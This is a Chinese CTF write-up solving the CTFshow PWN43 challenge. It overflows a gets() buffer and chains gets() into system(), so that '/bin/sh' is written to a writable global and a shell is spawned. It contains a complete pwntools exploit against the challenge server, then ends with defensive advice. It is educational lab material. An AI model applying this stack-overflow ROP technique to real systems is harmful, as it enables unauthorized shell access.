CTFshow PWN43通关实录:当system函数没有/bin/sh时,我是如何手动“造”一个的
在CTF的PWN类题目中,遇到有system函数但没有/bin/sh字符串的情况并不罕见。这种看似简单的限制条件,往往会让初学者感到无从下手。本文将从一个真实的解题视角出发,带你一步步探索如何在内存中"无中生有"地构造出我们需要的字符串,最终实现系统命令执行。
1. 问题分析与初步思路
拿到这道题目时,我首先用checksec检查了程序的基本信息:
$ checksec pwn43 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)从输出可以看出,这是一个32位程序,没有栈保护(No canary),但开启了NX保护(堆栈不可执行)。这意味着我们不能直接在栈上执行shellcode,必须寻找其他方法。
用IDA反编译后,我发现了关键函数ctfshow():
char *ctfshow() { char s[104]; // [esp+0h] [ebp-6Ch] BYREF return gets(s); }这里有几个重要发现:
- 使用了不安全的
gets()函数,存在明显的栈溢出漏洞 - 程序中有
system()函数(地址0x8048450) - 但搜索整个程序,找不到
/bin/sh或sh字符串
2. 内存布局探索与可写区域定位
既然程序中没有现成的/bin/sh,我们就需要自己写入这个字符串。但写入到哪里呢?这需要我们对程序的内存布局有清晰的认识。
使用gdb调试程序,查看内存映射:
gdb-peda$ vmmap Start End Perm Name 0x8048000 0x8049000 r-xp /home/ctfshow/pwn43 0x8049000 0x804a000 r--p /home/ctfshow/pwn43 0x804a000 0x804b000 rw-p /home/ctfshow/pwn43 0x804b000 0x804d000 rw-p [heap]重点关注具有可写权限(rw-p)的内存区域。在0x804b000-0x804d000这段内存中,我发现了一个全局变量buf2,地址为0x804b060。这个地址非常适合用来存储我们需要的字符串。
3. 利用链设计与payload构造
现在我们需要解决两个问题:
- 如何将
/bin/sh写入到buf2的地址 - 如何让
system()函数使用这个字符串作为参数
解决方案是构造一个ROP链,利用程序中已有的gets()函数(地址0x8048420)来实现字符串写入。完整的利用思路如下:
- 通过栈溢出覆盖返回地址,跳转到
gets()函数 - 让
gets()从标准输入读取数据,写入到buf2地址 gets()执行完毕后,返回到system()函数system()以buf2地址作为参数执行
对应的payload结构如下:
| 组成部分 | 说明 |
|---|---|
| 'a'*(0x6c+4) | 填充缓冲区,覆盖到返回地址 |
| p32(gets_addr) | 覆盖返回地址为gets()函数 |
| p32(system_addr) | gets()的返回地址,即下一步执行system() |
| p32(buf2_addr) | gets()的参数,指定写入位置 |
| p32(buf2_addr) | system()的参数,即"/bin/sh"字符串地址 |
用pwntools实现的完整exp:
from pwn import * context(arch='i386', os='linux') p = remote('pwn.challenge.ctf.show', 28227) offset = 0x6c + 4 system_addr = 0x8048450 buf2_addr = 0x804b060 gets_addr = 0x8048420 payload = flat( b'a'*offset, gets_addr, system_addr, buf2_addr, buf2_addr ) p.sendline(payload) p.sendline(b'/bin/sh\x00') p.interactive()4. 关键细节与调试技巧
在实际操作中,有几个容易出错的地方需要特别注意:
- 字符串终止符:发送
/bin/sh时记得加上\x00作为终止符,否则system()可能会读取到额外数据 - 参数对齐:32位程序调用约定是参数从右向左压栈,返回地址后紧跟参数
- 调试技巧:可以使用gdb的
cyclic工具确定偏移量,配合vmmap验证内存权限
调试时可以这样设置断点:
gdb-peda$ b *0x8048450 # system()函数入口 gdb-peda$ b *0x8048420 # gets()函数入口然后观察栈布局和寄存器值,确保payload按预期执行。
5. 扩展思考与替代方案
除了上述方法,这道题还有几种可能的解决思路:
- 环境变量注入:如果程序调用了
system()但没有指定完整路径,可以尝试污染PATH环境变量 - 其他可写段:除了.bss段,也可以考虑写入到其他可写区域,如堆空间
- 参数拼接:如果空间有限,可以尝试分多次写入字符串的不同部分
比较不同方法的优缺点:
| 方法 | 优点 | 缺点 |
|---|---|---|
| .bss段写入 | 稳定可靠 | 需要找到合适的全局变量 |
| 堆空间利用 | 空间较大 | 需要先分配堆内存 |
| 环境变量 | 不需要写入 | 依赖程序调用方式 |
在实际CTF比赛中,第一种方法通常是最可靠的,因为.bss段的地址固定且容易定位。
6. 防御措施与安全启示
从防御角度看,这道题展示了几个重要的安全原则:
- 永远不要使用gets():这是最危险的标准库函数之一,应该用fgets()替代
- 最小权限原则:内存区域应该只赋予必要的权限,避免可写又可执行
- 参数验证:即使是使用system(),也应该对参数进行严格过滤
开发者可以通过以下方式加固程序:
// 安全的输入方式 char buf[100]; if (fgets(buf, sizeof(buf), stdin) == NULL) { // 错误处理 } buf[strcspn(buf, "\n")] = '\0'; // 移除换行符 // 安全的命令执行 execl("/bin/sh", "sh", (char *)NULL);这道题虽然简单,但很好地展示了从漏洞发现到利用的完整链条。通过手动构造字符串的过程,我对程序内存布局和函数调用约定有了更深入的理解。在实际测试时,建议先用本地调试确保payload正确,再连接到远程服务器获取flag。